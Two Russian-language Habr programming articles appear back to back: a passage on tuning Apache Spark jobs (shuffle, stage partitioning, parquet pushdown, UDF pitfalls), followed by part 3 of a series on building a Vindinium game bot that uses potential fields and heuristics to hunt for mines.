ordersDF ["customer_id"] == customersDF["id"],
"left_outer")
```
Но только задумайтесь: что происходит в кластере при соединении двух наборов данных, которые могут и не находится целиком на каком-либо из узлов кластера? Обычно Spark со всем справляется быстро, но иногда, а особенно, если данных действительно много, необходимо все-таки понимать – что происходит уровнем ниже и использовать это знание, чтобы помочь Spark работать в полную силу.
Сегодня мы поговорим о том, как сделать так, чтобы ваше приложение работало быстро и использовало все ресурсы, которые вы запросили для него. В этой статье рассмотрим в основном модуль Spark SQL, запуск приложения Spark в кластере с Yarn со статическим выделением ресурсов. Но общие идеи можно применять и с другими начальными данными. Мы рассматриваем здесь Spark 2.3/2.4, чтобы лучше понять все нововведения Spark 3.X с его Adaptive Query Execution (AQE) (хотя некоторые функции уже присутствуют и в Spark 2.4) и почему они так важны.
Данные и где они обитают
------------------------
Начнем с абстракции, которую нам предоставляет Spark для работы с данными – это RDD (*Resilient Distributed Dataset*). Для цели нашей статьи не важно, что мы работаем с DataFrame или DataSet.
RDD (Resilient Distributed Dataset)Таким образом, для разработчиков набор данных представлен в виде единого объекта, а обрабатывается он порциями (блоками) отдельно в каком-то потоке на каком-то исполнителе (executor) в кластере. Блок является минимальной единицей обработки, исполнитель получает блок и инструкцию, которая сообщает ему о том, что необходимо сделать с этим блоком данных.
Как работает приложение Spark в кластере
----------------------------------------
На высоком уровне каждое приложение Spark в момент своей работы состоит из драйвера – программы, которая исполняет функцию main() и исполнителей, которые работают на узлах кластера. Исполнители – универсальные солдаты, они получают порцию данных (блок) и инструкцию, исполняют ее и докладывают драйверу о завершении, чтобы получить следующую инструкцию. В каждом исполнителе может быть запущено более одного потока обработки, и в этом случае каждый поток обрабатывает свой блок данных независимо от других. Таким образом, если мы при запуске нашего приложения заказали у менеджера кластера пять исполнителей по четыре ядра (потока), то в каждый момент времени мы располагаем 5\*4 = 20 потоками и в лучшем случае можем обрабатывать 20 блоков данных одновременно.
Итак, каждая задача получает для выполнения:
* num\_executors – к-во отдельных процессов JVM, в которых будут запущена потоки обработки данных (они могут быть расположены как на одной узле кластера, так и на разных). Процессы будут работать до конца работы приложения;
* executor\_cores – количество параллельных потоков, выполняемых в каждом executor. Один поток в каждый момент времени обрабатывает один блок данных.
Схема работы приложения SparkВ Spark History (Web сервер для отображения логов выполнения приложений Spark в удобном виде) это выглядит так:
Spark History: StageМы здесь видим два исполнителя, в каждом из которых работает по четыре потока обработки.
Перетасовка (Shuffle)
---------------------
Итак, мы разобрались в том, что у нас есть N блоков данных и P потоков (работников), которые эти блоки данных могут перерабатывать параллельно.
И все у нас было бы хорошо, если бы эти блоки жили до конца приложения, но почти в любом приложении будет обработка, которая влечет за собой полную перетасовку наших блоков. Это, например, соединение двух таблиц по ключу (JOIN), группировка по ключу (GROUP BY). В этом случае работает всем хорошо известный паттерн [MapReduce](https://spark.apache.org/docs/latest/rdd-programming-guide.html#shuffle-operations), при котором происходит перераспределение данных всего набора по ключу на новые блоки данных, так, чтобы строки с одним и тем же ключом находились только в одном блоке. Этот процесс в Spark называется Shuffle. Почему я написал его с большой буквы? Потому что это очень сложный и дорогостоящий процесс, при котором увеличивается потребление памяти на исполнителях, потребление дисковой памяти на узлах кластера и сетевой обмен между узлами кластера. Очень напоминает превращение гусеницы в бабочку – все разваливается на куски, чтобы потом собраться в новом обличии, и так же энергозатратно.
Задание делится на этапы
------------------------
В Spark обработка блоков от одной перетасовки (Shuffle) до другой называется этапом (Stage). Заметим, что до перетасовки все блоки обрабатываются параллельно, после перетасовки они тоже обрабатываются параллельно, но новый этап не начнется пока этот процесс не пройдут все блоки в конце предыдущего этапа. Таким образом, граница между этапами – это место ожидания при параллельной обработке блоков. Заметим также, что в рамках одного этапа все задачи (task) над одним блоком происходят последовательно в рамках одного потока. То есть блок никуда не передается по сети, но все блоки обрабатываются параллельно. Получается, что количество блоков в границах этапа неизменно.
Задание делится на этапыМы пришли к следующей картине: все задания делятся на этапы, а в рамках каждого этапа количество блоков неизменно и равно …. И вот здесь начинается самое интересное. Количество работников у нас известно (P = executors\*cores), а вот сколько блоков будет на каждом этапе – это вопрос, от которого напрямую зависит производительность нашего приложения. Ведь если блоков много, а исполнителей мало, то каждый исполнитель будет обрабатывать последовательно несколько блоков и наоборот: если блоков мало, а исполнителей больше, то некоторые исполнители будут простаивать, когда остальные трудятся не покладая рук. Самое интересное здесь – то, что, когда приложение работает медленно, пытаются выдать ему больше исполнителей, но производительность в этом случае не увеличивается.
Давайте начнем выяснять объем работы по этапам. Здесь и далее для простоты картины будем рассматривать блоки только одного набора данных. В каждый момент времени исполнители могут обрабатывать несколько несвязанных друг с другом этапов. Например перед JOIN два набора данных будут обрабатываться независимо друг от друга и, таким образом, делить исполнителей между собой. В этом случае количество блоков обработки будет их суммой. Но для наших целей необходимо понять – что происходит с одним набором данных. На первом этапе все будет зависеть от того, откуда произошел ваш набор данных. Например, если вы читаете директорию файлов parquet из HDFS, то количество блоков на первом этапе в общем случае будет равно (количеству блоков HDFS, из которых состоят все файлы .parquet из загружаемой директории). То есть в этом случае каждый блок HDFS будет представлять собой отдельный блок данных для обработки. Но не забываем, что такое распределение блоков будет сохраняться до конца этапа. Вот отличный пример.
Мы читаем небольшой файл из HDFS, в котором 150 тысяч записей. Весь файл помещается в один блок HDFS. Таким образом, на первом этапе у нас всего один блок данных, поэтому работать с ним сможет только один исполнитель. Но по логике работы трансформации в каждой строке находится поле `duration` (количество секунд просмотра), и нам необходимо размножить каждую строку на выходе на столько строк, сколько секунд смотрения у нас в этой строке.
```
viDF = spark.read.parquet("/tst/vi/")
viDF.createOrReplaceTempView("ViewingInterval")
spark.sql("""select t.*,
explode(get_list_of_seconds(duatation)) as secondNumber
from ViewingInterval""")
```
Трансформация на тестовых данных работает не быстро. Глядя в Spark History, видим:
На первом этапе один блок данныхTasks = 1 значит что на этом этапе – всего одна задача, так как блок данных только один. Видим на входе 2 Мб данных, а на выходе уже развернутый набор 1 Гб данных. И все это делает **один поток**, остальные простаивают, так как на этом этапе больше нет задач. Как же нам поступить, ведь `explode` – узкая зависимость и по этой причине не прерывает этап, а выполняется на том же этапе, на котором происходит чтение данных. В рамках этапа, как мы уже знаем, количество блоков неизменно. В этом случае нам можно легко (так как набор данных на входе маленький, и перетасовка пройдет быстро) разорвать этот этап на два, используя функцию `repartition(N)`, которая приводит к перетасовке в случайном порядке, создавая на выходе N блоков данных, примерно равных по размеру. А так как она производит перетасовку (Shuffle), значит, начинается новый этап.
```
viDF = spark.read.parquet("/tst/vi/")
viDF.repartition(60).createOrReplaceTempView("ViewingInterval")
spark.sql("""select t.*,
explode(get_list_of_seconds(duatation)) as secondNumber
from ViewingInterval""")
```
Смотрим Spark History:
Теперь обработка идет параллельноНа втором этапе – на который теперь попал `explode` после `repartition`, у нас 60 заданий (блоков данных) и все исполнители теперь работают, а не простаивают. Время работы трансформации сократилось почти вдвое. Наша задача заключается в том, чтобы не было простоя, и все исполнители работали, иначе зачем мы отбираем у кластера ресурсы, которые потом не используем.
С первым этапом разобрались и даже узнали – как разорвать любой этап на два с помощью `repartition(N)`. Разберемся с внутренними этапами, которые находятся между двумя перетасовками. Здесь все решает параметр spark **spark.sql.shuffle.partitions** (default 200). Точнее решал, так как с введением AQE Spark научился сам регулировать это количество. Итак, любой внутренний этап будет состоять из **spark.sql.shuffle.partitions** блоков данных. Но здесь тоже не все так гладко: если у вас данных не много, то необходимо уменьшать этот параметр, а если много – увеличивать. И в случае с Spark 2.3 вам необходимо искать какую-то золотую середину, в зависимости от ваших данных.
Приведу пример, когда у нас данных мало, а **spark.sql.shuffle.partitions = 200** по умолчанию. Вырожденный случай и не используем broadcast. Глядя на Spark History, видим, что наш набор данных состоит всего из 185 строк, и был поделен при перетасовке на 200 блоков (но тут и на 200 блоков не хватит). Заметим, что реальная полезная работа исполнителя окрашена здесь в зеленый цвет. То есть получается, что из всего времени работы исполнителя на обработку одного блока данных из одной записи полезное время составило <10%. Остальное время – это ожидание и десериализация.
Что же у нас происходит на последнем этапе? Это опять зависит от того, куда мы выводим данные нашей трансформации. Например, мы хотим записать все в директорию в виде parquet файлов. Если мы сделаем это после перетасовки, ничего не предприняв, то обнаружим 200 файлов в этой директории после выполнения нашей программы. Почему? Потому что после перетасовки у нас получилось по умолчанию **spark.sql.shuffle.partitions = 200** блоков, а так как один блок обрабатывается одним потоком, то и записывать его он будет сам в отдельный файл.
Обычно в этом месте разработчики хотят контролировать количество файлов в HDFS и при сохранении на DataFrame вызывают метод `coalesce(N)`. Этот метод просто зачисляет каждый блок нашего набора в один из N новых блоков. То есть реально `coalesce()`, в отличие от `repartition()`, не приводит к перетасовке, а следовательно не разрывает этап, просто делает так, что на нашем этапе будет N блоков данных. Но к чему это приводит – к тому, что на этом этапе будет работа только для N исполнителей. Что, если мы решили сохранить все в один файл - будет работать только один поток. Вспомним рассуждения про первый этап и, если последний этап достаточно серьезный по вычислениям, то непосредственно перед сохранением вместо `coalesce(N)` имеет смысл сделать `repartition(N)`, чтобы разбить последний этап на два: предпоследний, который будет выполнять тяжелые вычисления в spark.sql.shuffle.partitions потоков параллельно (если до этого был join, например) и последний, в котором непосредственно произойдет сохранение в нужное нам количество файлов (N) уже без ресурсоемких вычислений. Здесь необходимо подумать, что будет быстрее – оставить все как есть или, добавив `repartition(N)`, произвести перетасовку, что тоже не бесплатно, но потенциально возможно распараллелить сложные вычисления.
```
dataDF.repartition(1) \
.write \
.format("parquet") \
.mode("overwrite") \
.option("compression","snappy") \
.save("/tst/problem_4/result")
```
Теперь, когда мы разобрались с отношениями между количеством блоков на этапе и количеством исполнителей, приведу небольшой пример. На входном этапе у нас 20 блоков данных, а исполнителей всего 10 (5 executors \* 2 cores). Видим, что почти каждый исполнитель после обработки одного блока вынужден взять на обработку еще один блок, так как в среднем на одного исполнителя приходится два блока данных, нуждающихся в обработке. Но, вспомнив, что все блоки данных на одном этапе можно обработать параллельно запросим 20 исполнителей для нашей задачи (5 executors \* 4 cores), получим, что каждый исполнитель теперь обработает только один блок и время работы всего этапа в идеале сократится в два раза. Как раз тот случай когда увеличение ресурсов работает и увеличивает скорость, но до определенного момента - после порога в 20 потоков для этого случая увеличение ресурсов работать уже не будет.
Увеличили ресурсы - работает быстрееКстати, один из интересных моментов применения метода разрыва последнего этапа при сохранении, описанного в предыдущем параграфе:
```
dataDF.repartition(N).write. …
```
Если сравнивать показатели перед и после разрыва последнего этапа, то все кажется отлично: время работы трансформации сократилось в несколько раз (так как последние вычисления выполнялись параллельно всеми исполнителями), исчез Shuffle Spill (это когда исполнителю не хватает памяти и он устраивает своеобразный swap с локальным диском. Конечно, в этом случае все данные пришли несколькими большими блоками и исполнители с трудом их переварили).
СТОП! Приглядимся к размеру файлов, полученных при сохранении. Было 5.9 Гб, стало 10.3 Гб, количество записей одно и то же, состав данных тот же. Почему? Вот и ложка дегтя!
Обратите внимание на размер OutputДобавили только `repartition()`.Мы уже узнали, что он распределяет данные случайным образом. То есть взамен частично упорядоченных данных по ключу после последней перетасовки (JOIN был в нашем случае) мы получаем данные, распределенные случайно. Вспоминаем, что parquet – колоночный формат хранения файлов, причем данные в нем сжимаются, извлекая пользу из того, что в колонке они могут быть частично упорядочены. Получается, мы привнесли случайность в распределение строк и таким образом ухудшили сжимаемость данных почти в два раза. Что с этим можно сделать? Можно вернуть порядок, но внутри каждого блока данных.
```
dataDF.repartition(20). sortWithinPartitions(asc("id")).write. …
```
Функция `sortWithinPartitions()` производит сортировку по полю или нескольким полям внутри каждого блока, т.е. никакой перетасовки не происходит все работает в рамках одного исполнителя в его памяти. После применения этой функции к нашей трансформации для сортировки по нескольким полям, общий размер файлов на выходе стал даже немного меньше, чем изначально. Теперь у нас все работает быстро, размер файлов на выходе нас устраивает. Кроме того, в этом случае мы записали в HDFS файлы примерно одинакового размера (это следствие `repartition()`), что может быть удобно для дальнейшей обработки.
О работе оптимизатора
---------------------
Раз уж мы коснулись файла формата parquet, на нем и посмотрим, как работает оптимизатор Spark на примере такого правила оптимизатора, как predicate pushdown и projection pushdown.
В случае с projection pushdown колоночный форма parquet особенно выигрывает. Напомню, что реальное выполнение дерева запроса начинается только в момент, когда выполняется действие, то есть операция, которая выводит данные: передает в основную программу (драйвер) (`collect`, `count`,..), сохраняет в файл, передает в базу данных и т.д. При этом Spark строит дерево запроса и оптимизирует его. Таким образом, при построении запроса оптимизатор уже знает – какие поля необходимы, чтобы получить результат, и будет читать из файла только эти поля. Так как в колоночном формате файлов данные хранятся в разрезе колонок, то из файла прочитаются только эти поля.
Рассмотрим правило оптимизатора – спуск условия (predicate pushdown). Принцип этой оптимизации достаточно прост: данных у нас много и ни к чему их обрабатывать, если они в конце концов не пригодятся, например должны быть отфильтрованы в конце выполнения нашего дерева запроса. Все условия и фильтры оптимизатор старается по возможности спустить на уровни ниже – ближе к источникам данных, в идеале до непосредственного чтения файла (или, например, запроса к RDBMS).
Рассмотрим пример:
Вот физический план выполнения запроса, который при этом генерируется:
Обратим внимание на блок непосредственного чтения из файла (FileScan parquet) и блок PushedFilters – это те условия, которые будут накладываться при физическом чтении файла. Видим, что сюда попали три условия:
* для `ValueDate` условия `IsNotNull` и `LessThanOrEqual` – с последним понятно, это отражено в нашем SQL. Откуда взялось `IsNotNull`? Ясно, что у нас в запросе стоит условие `ValueDate <= константа` и `NULL` значения не удовлетворяют этому условию, то есть логически все правильно. Но зачем оптимизатор для файла parquet вынес это условие отдельно? Об этом – в следующем параграфе;
* для `SubjectID` условие `IsNotNull`. Но у нас нет такого условия в запросе и вообще нет условия на `SubjectID`. Есть только LEFT JOIN по этому полю, где наша таблица присоединяется к основной. Да, точно: при таком JOIN все строки, где `SubjectID is NULL`, не попадут в результирующую выборку. Мы видим, что оптимизатор это учитывает и в самом начале даже не читает такие строки из файла.
Давайте все-таки разберемся что же такого интересного в условии `IsNotNull`, что оптимизатор его добавляет отдельно. Для этого заглянем в структуру файла parquet. Для этого можно использовать [parquet-tools](https://github.com/apache/parquet-mr/releases) . Все дело в том, что файл parquet наряду со схемой хранит так же некоторую статистику по полям в разрезе групп строк.
Файл parquet внутриВидим, что для всех целочисленных типов есть количество значений (`Values`), количество NULL в данном блоке (`Null Values`), а также Min и Max значения столбца в этой группе строк. Сразу вспоминаем наше условие на поле `IsNotNull`. То есть, если бы у поля `SubjectID` в этой группе было бы `Values = Null Values`, то мы могли бы сделать вывод, что все значения в данной группе строк являются NULL и не читать этот блок вовсе. То же самое относится и к условиям больше, меньше, равно – здесь можно использовать Min и Max значения столбца и делать вывод – нужно ли вообще читать эту группу строк.
Важно понимать, что условие можно спустить на уровни ниже только, если оно заранее известно перед началом выполнения запроса.
Пример из реальной жизни.
Директория файлов parquet партицирована по полю. В трансформацию передавалась строка со значениями фильтра по этому полю, разделенными запятой. Разработчик сделал `explode(split(фильтр))`, то есть маленькую таблицу из этой строки со значениями и со спокойной совестью сделал INNER JOIN с основной таблицей, которую нужно отфильтровать. Трансформация работала медленно. Посмотрим на план запроса:
Из HDFS читаются все партицииСтранно, но на первом этапе Spark вычитывает все партиции (`PartitionCount =121`), хотя мы передаем фильтр, который состоит только из одного значения. Это как раз тот случай, когда при построении дерева запроса Spark не знает о фильтре вообще, ведь он скрыт за JOIN.
Вместо процедуры построения таблицы со значениям фильтра просто используем стандартную функцию Spark SQL - [find\_in\_set()](http://spark.apache.org/docs/latest/api/sql/index.html#find_in_set). Она ищет положение подстроки в строке, представляющей из себя список, разделенный запятыми.
То есть фильтр у нас теперь представляет простое выражение:
```
where find_in_set(surveyprogectid, <строка фильтра>)
```
И если посмотреть на план выполнения запроса, так как при его построении оптимизатор уже знает строку фильтра и условие, он спускает это условие на уровень чтения из файла. Кроме того, зная, что это партицирующее поле, применяет правило partition pruning, то есть выкидывает из рассмотрения партиции, не удовлетворяющие фильтру.
Читается из HDFS только одна партицияОбратите внимание, что наше условие теперь находится в блоке PartitionFilters, так как поле партицирующее, из HDFS вычитывается только нужная нам партиция (`PartitionCount = 1`).
Поэтому, если у вас есть большая таблица с партицированием и вы отбираете некоторые партиции через JOIN, то возможно будет лучше отдельным действием сформировать список значений из этой таблицы фильтра в виде строки и передать его в виде константы в условие основного запроса.
Когда оптимизатор может навредить
---------------------------------
Отличная работа оптимизатора… Но иногда его стремление спустить условие как можно ниже к источнику может навредить. На сцену выходит UDF (*user defined function*). Функция, определенная пользователем, это черный ящик для оптимизатора Spark.
Рассмотрим следующий пример:
Имеем большой файл с **несколькими миллиардами** строк. Мы хотим отобрать только уникальные id и применить к ним нашу UDF, далее отобрать только те результаты, которые будут Null. Последовательность запросов:
```
T1=> select distinct id from T
T2=> select UDF(ID) as newID from T1
T3=> select * from T2 where newID is null
```
Уникальных значений id в таблице всего **несколько тысяч**, а наша UDF работает не быстро – ходит в HBase. То есть мы, построив такое дерево запроса, рассчитываем, что наша UDF будет вызвана несколько тысяч раз. Запускаем запрос и долго-долго ждем.
Смотрим план выполнения запроса:
Условие с UDF спустилось почти на самы нижний уровень … ой! Оптимизатор постарался на славу: он честно спустил наше условие `isNull(UDF(id))` на уровень сразу после непосредственного чтения файла, даже до того момента, когда мы отбираем только уникальные id. А это значит, что наша тяжелая UDF пыталась выполниться миллиарды раз вместо тысяч.
Что здесь можно придумать? Например, сделать `cache(persist)` после вычисления уникальных id (T1). Или использовать `lateral view`, через который оптимизатор не пропустит условие дальше.
```
select udf_result as newID
from T1 lateral view explode (array(UDF(ID))) as udf_result
```
Получили то, что и хотели в начале – UDF вычисляется только для уникальных id:
Заключение
----------
За рамками этой статьи остались вопросы, связанные с оптимизацией JOIN: broadcast, data skew, с плюсами и минусами coalesce и repartition. Некоторые моменты достаточно подробно описаны на Хабр, а некоторые – нет. Возможно, это будет темой следующей статьи. Спасибо за внимание. | https://habr.com/ru/post/578654/ | null | ru | null |
# Пишем ИИ для Виндиниума на одноплатных компьютерах. Часть 3: от теории к практике. Эффективно охотимся за рудниками в ПП
Серия статей по написанию ИИ для многопользовательской онлайн игры жанра рогалик, ограниченного производительностью одноплатного компьютера.
В этой части статьи мы посмотрим на один из самых понятных и послушных ИИ в рогаликах, напишем простые правила, которыми можно будет легко управлять, и поговорим о сборе статистики.
Но перед этим немного о возвышенном: [janvarev](https://geektimes.ru/users/janvarev/) запустил очень удобный [лидерборд](http://janvarev.com/VindiniumLeaderboard), по которому можно отследить свой рейтинг среди игроков, которые играли в течение десяти дней. Присоединяйся и ты! Первые пять пользователей Гиктаймса, которые 30 сентября в лидерборде займут место выше, чем `Zonko 0.11`, получат ~~золото~~ открытку из Москвы! ~~Я бедный студент, живу на стипендию~~ Единственное условие — никнейм бота должен совпадать с никнеймом в Гиктаймсе (или хотя бы очень походить).
→ [Часть 1](https://geektimes.ru/post/291823/)
→ [Часть 2](https://geektimes.ru/post/291879/)
### Потенциальные поля...
Для начала необходимо понять, что такое потенциальные поля (ПП), для этого нам нужны [эта](https://habrahabr.ru/post/262181/) и [эта](https://habrahabr.ru/post/307368/) статьи.
В целом, ПП можно представить как карту распространения сигнала от объекта на все клетки поля, огибая преграды. Вот, к примеру, распространение поля возле игрока R (id=4), чем темнее, тем слабее поле.
Существуют [реализации с использованием псевдокода](http://ewanduncan.weebly.com/pathfinding-lee-algorithm.html), что позволяет работать над ПП с большинством языков программирования.
Расчет потенциальных полей для всех рудников, игроков и таверн — не очень тяжелая задача, с которой даже одноплатный компьютер справляется при должной пряморукости программиста.
Теперь посмотрим на эту задачу полноценно:
1. Получаем от сервера информацию о состоянии игры;
2. Добываем координаты таверн, игроков, рудников — значимых игровых объектов;
3. Считаем потенциальное поле всех игровых объектов, складываем в общий словарь вида: `Координата поля - id объекта - значение поля`;
4. Используя магию, получаем решение, в какую сторону пойдем в этот раз.
Теперь будем работать по пунктам:
### 1. Информация о состоянии игры
Тут говорить, честно говоря, не о чем. На официальном сайте доступны наборы для быстрого старта на 28 языках программирования. К слову, очень легко обойтись и без них, ведь там всего-лишь POST-запросы и работа с json. Для python существуют модули requests и json, которые сделают всю грязную работу сами. Во второй части был приведен код, который работает с ответами сервера.
### 2. Добываем координаты игровых объектов
Здесь нужно сказать пару слов:
1. Координаты всех четырех игроков доступны в `game - heroes - *hero\_id* - pos`;
2. Таверны и спаунпоинты — единственные неизменные объекты на карте. Они не перемещаются, не переходят из одних рук в другие. Их расположение можно запомнить раз и навсегда;
3. Координаты рудников придется доставать из карты каждый раз, ибо они имеют свойство менять своего хозяина;
4. Затем всё это упаковываем в один словарь «название — координата», при этом рудники и таверны следует пронумеровать.
**Как конечный этап выглядит у меня:**`{'0_0': [4, 2],
'0_1': [4, 13],
'0_2': [11, 2],
'0_3': [11, 13],
'A_0': [3, 3],
'D_0': [12, 12],
'E_0': [12, 12],
'F_0': [3, 12],
'Q_0': [3, 3],
'R_0': [3, 12],
'S_0': [12, 3],
'W_0': [12, 3],
't_0': [3, 4],
't_1': [3, 11],
't_2': [12, 4],
't_3': [12, 11]}`
При этом первый символ ключа обозначает тип объекта, последний — количество одинаковых объектов. 0, 1, 2, 3, 4 обозначают рудники и их принадлежность какому-либо игроку (0 — нейтральный рудник, 3 — рудник, принадлежащий третьему игроку). Q, W, E, R — четыре игрока соответственно, A, S, D, F — их спаунпоинты. В качестве значения представлены координаты.
### 3. Просчитать потенциальные поля
Выше я сказал, что для реализации потенциального поля на своем ЯП нет преград. Лично мне понравилось очень лаконичное и быстрое решение [отсюда](https://github.com/CorvoOrc/Lee-algorithm/blob/master/lee_algo.py), стоит только часть функции emit перенести в свой код, чутка доработав напильником. Нужно поделить все объекты на три категории:
— Пустота — сохраняет и распространяет дальше заряд поля. К таким объектам принадлежат спаунпоинты и пустые клетки. К слову, спаунпоинт должен распространять заряд, даже если на нем стоит персонаж.
— Барьер — не сохраняет и не распространяет дальше заряд поля. Такими объектами являются все препятствия, с которыми игрок не может взаимодействовать (отмечены на карте "##").
— Аккумулятор — сохраняет в себе значение заряда, но не распространяет дальше. Это нужно для того, чтобы поле огибало эти объекты. Такими объектами являются рудники, игроки, таверны В случае, если, к примеру, какой-то игрок заблокирует проход шириной в одну клетку, сигнал не сможет распространиться дальше.
Теперь, если есть смысл заморачиваться со скоростью работы, необходимо задачу разбить на N частей (в случае с одноплатным четырехъядерным компьютером N=3, чтобы сохранить одно ядро для основного процесса и для внутренних нужд операционной системы) и скормить карту и координаты процессам, чтобы получить потенциальные карты всех объектов (моя реализация на Python3 в один поток не справляется при размере карты 28х28 с 40+ объектами, приходится параллелить).
**Многопроцессность для питона**Использую модуль concurrent.futures, очень поманила простота работы с процессами и потоками.
Как разбиваю задачу:
```
g = list(board.objects.keys()) # лист, содержащий ключи от словаря, представленного в спойлере выше
#магическое разбиение одного массива на три
if len(g)%3 == 0:
missions = (g[:len(g)//3], g[len(g)//3:2*len(g)//3], g[2*len(g)//3:])
else:
missions = (g[:len(g)//3+1], g[len(g)//3+1:2*len(g)//3+1] , g[2*len(g)//3+1:])
pot_field = zero_field(data['game']['board']['size']) # создаем пустое поле, в которое будем заносить результаты работы
with concurrent.futures.ProcessPoolExecutor(max_workers=3) as pool:
pp = []
for i in range(3):
#worker_layer решает потенциальные поля переданных ему объектов
pp.append(pool.submit(worker_layer, board, targets=missions[i], coors=targets))
for i in pp:
m = i.result()
# тут надо суммировать три поля в одно
if pot_field =='':
pot_field = m
else:
for key in pot_field.keys():
if key in m:
pot_field[key].update(m[key])
```
### 4. Магия
Теперь мы можем обратиться к любой точке карты, чтобы узнать расстояние объектов до нее.
**Стартовый набор для сборки не самого умного ИИ**Для того, чтобы проверить, что мы до сих пор делаем всё правильно, предлагаю такую простую, но не лишенную изъянов, схему:
1. Возьмем пять точек от нашего объекта: (x,y) — Stay, (x-1, y) — North, (x+1, y) — South, (x, y-1) — West, (x, y+1) — East. Исключим те точки, которые упираются в барьеры ("##").
2. Для каждой из оставшихся точек:
* Найдем значение сигнала от ближайшей таверны, ближайшего не нашего рудника(=наименьшее значение сигнала по выбранным категориям);
* Возьмем answer = 0;
* Воспользуемся правилом для ближайшего рудника:
+ Если наше\_здоровье <21 и расстояние\_до\_рудника==0, то answer-=100;
+ Иначе если расстояние до шахты ==0, то answer+=990;
+ Иначе answer+=49+mod(50, расстояние\_до\_шахты+1);
* Воспользуемся правилом для ближайшей таверны:
+ Если наше\_здоровье>80 и расстояние\_до\_таверны==0, то answer-=100;
+ Иначе если наше здоровье >50 или количество\_золота<2, то игнор;
+ Иначе если расстояние\_до\_таверны==0, то answer+=100;
+ Иначе answer+=mod(mod(200, наше\_здоровье), расстояние\_до\_таверны+1);
* Воспользуемся правилом для каждого врага:
+ Если наше\_здоровье-здоровье\_врага>-19 и количество\_рудников>0 и расстояние==1, то answer+=80;
+ наше\_здоровье-здоровье\_врага>-19 и количество\_рудников>0 и расстояние==1, то answer+=100;
+ Иначе если расстояние<4 и наше\_здоровье<45, то answer+= -100+8\*расстояние;
3. Выбираем точку с наибольшим значением answer, отправляем направление.
Довольно топорно, неоптимизированно, однако для начала пойдет. Это был один из самых первых набросков ИИ для `Zaraza 0.1`. Попробуйте запустить ИИ, следуя этим инструкциям, и увидите проблеск разума. За тем, как играет ИИ по таким правилам, можно посмотреть [здесь](http://vindinium.org/uznw35wg), [здесь](http://vindinium.org/92cpjkh4) и [здесь](http://vindinium.org/s6qq3w7h). Становится понятно, что на больших картах, где нечасто приходится встречаться с врагами, ИИ может потягаться с драчунами, просто избегая встреч, а на средних и маленьких картах, где столкновения неизбежны, этот зачаток интеллекта не может сражаться с другими ИИ. Нужно провести работу по оптимизации движка.
### Исследование объектов: рудники
Рассмотрим способы, с помощью которым можно искать рудники на карте:
#### Способ 1 — идти к самому ближайшему руднику
Плюсы:
+ Самый простой способ.
Минусы:
— Все остальные составляющие этой затеи
Комментарий:
Если стоим на перепутье с одинаковым расстоянием до двух ближайших рудников, можно выбирать любой.
Три боя, выложенные чуть выше, раскрывают всю нежизнеспособность этого способа. Лишние ходы, нелогичные движения, наворачивание кругов — всё пестрит избыточностью.
#### Способ 2 — добавить веса за хороший выбор
Плюсы:
+Теперь ИИ будет выбирать количественно более приятный способ.
+ Легко реализуется.
Минусы:
— Существует способ и получше.
Комментарий:
Этот способ действительно невероятно хорош. Мы будем искать не самый близкий вариант, а самый хороший в краткосрочной перспективе. Для реализации можно использовать сложение всех весов при формуле, к примеру, 600/(n+1), где n- расстояние до объекта. Это поможет точно дойти до лучшего места при равном расстоянии, а также делает более привлекательными точки с большим количеством рудников. При этом стоит сделать сам рудник, к примеру, с весом 1000 единиц, ибо в противном случае клетка рядом с двумя рудниками будет обладать аналогичной привлекательностью, что и сам рудник (600/1 = 600/2 + 600/2). Средний показатель очков Эло за 100 битв увеличился с 1550 до 1833 только с изменением способа поиска рудников, это говорит о многом.
#### Способ 3 — какой-то план, которому он следует
*Часть карты, где такой способ будет действенным*
Алгоритм таков:
1. Составляем список всех рудников, которые мы можем завоевать с текущим количеством здоровья (чтобы успешно захватить рудник, нужно обладать минимум 21 единицей здоровья. Очевидно, нас хватит максимум на 4 рудника).
2. Мысленно идем до каждого рудника, завоевываем.
3. Теперь повторяем пункт 1 и 2, начиная от места завоевания определенного рудника ровно до тех пор, пока у нас не будет список всех возможных сценариев по захвату близлежащих рудников (а у учеток количества здоровья, можно захватить не более четырех рудников), можно построить даже дерево таких комбинаций. Благо, расстояние от каждой точки до рудника у нас есть.
4. Можно также посмотреть дальше — оценить расстояние до таверны, ведь она является жизненно необходимой вещью в этом круговороте.
5. Выбрать самый вкусный вариант
Плюсы:
+Существенно более хороший способ поиска рудников.
+ Ищет оптимальные «цепи» для поиска рудников.
+ Самый эффективный способ, если бы не существование соперников.
Минусы:
— Может быть несколько ресурсозатратным.
— Не учитывает деятельность врагов.
Комментарий:
У этого способа есть достоинства, которые нельзя не принимать во внимание. Если поработать в этом направлении, то можно достичь значительного успеха, даже уложившись в ресурсы одноплатника. В качестве оценивающей функции можно использовать затраченное количество ходов и количество захваченных рудников или, к примеру, `(полученное количество золота)/(потраченное количество ходов)`. Здесь может быть много интересных идей.
#### Способ Geektimes
Если есть задумка по поиску рудников, изложите его в комментариях, ибо мне мало что иное в голову приходит.
Но как убедиться, что изменение в движке бота сделало его лучше?
Собрать статистику за 50/100/250 игр!
-------------------------------------
Определимся с собираемым материалом. Для меня выбор был прост:
— viewUrl — ссылка, по которой можно просмотреть бой
— место, которое мы заняли в бою
— соотношение нашего золота и золота победителя как показатель успешности боя
— текущее количество очков Эло
— выбыли ли мы из игры преждевременно (это может случиться, если были проблемы с интернетом или если мы пересекли лимит в 1 секунду на отправку решения)
— размер карты (который нередко коррелирует с выигрышным местом)
Теперь необходимо выбрать способ сохранения данной информации. Если выбирать из простого, есть два варианта: [.scv](https://en.wikipedia.org/wiki/Comma-separated_values) и Google Forms. Стоит сказать, что GF может быть более удобным вариантом, так как он из-под коробки добавляет временную метку и статистика доступна онлайн. Как заносить ответы в форму можно поискать по запросу «submit google form язык\_программирования».
### Задача на дом
А пока пользователям Гиктаймса вопрос номер 2:
На скриншоте представлен кусок карты:
Q — наш игрок
S — вражеский спаунпоинт
Программист Окноз решил добавить такое свойство: если у владельца вражеского спаунпоинта опасно малое количество очков здоровья, то спаунтпоинт начинает излучать отталкивающее потенциальное поле, которое не поощряет близкое нахождение возле этого спаунпоинта. Но игрок оказался в ловушке, став отличной добычей для вражеского игрока, как только он возродится. Окноз думает над тем, что же нужно сделать, чтобы таких ситуаций не случалось.
Есть догадки? Одно из возможных решений я напишу в комментариях под спойлером.
### Заключение
Вот так, шаг за шагом, можно создать смелого и могучего воина, который скрестит свои мечи с адептами альфа-бета отсечения и минимакса на равных!
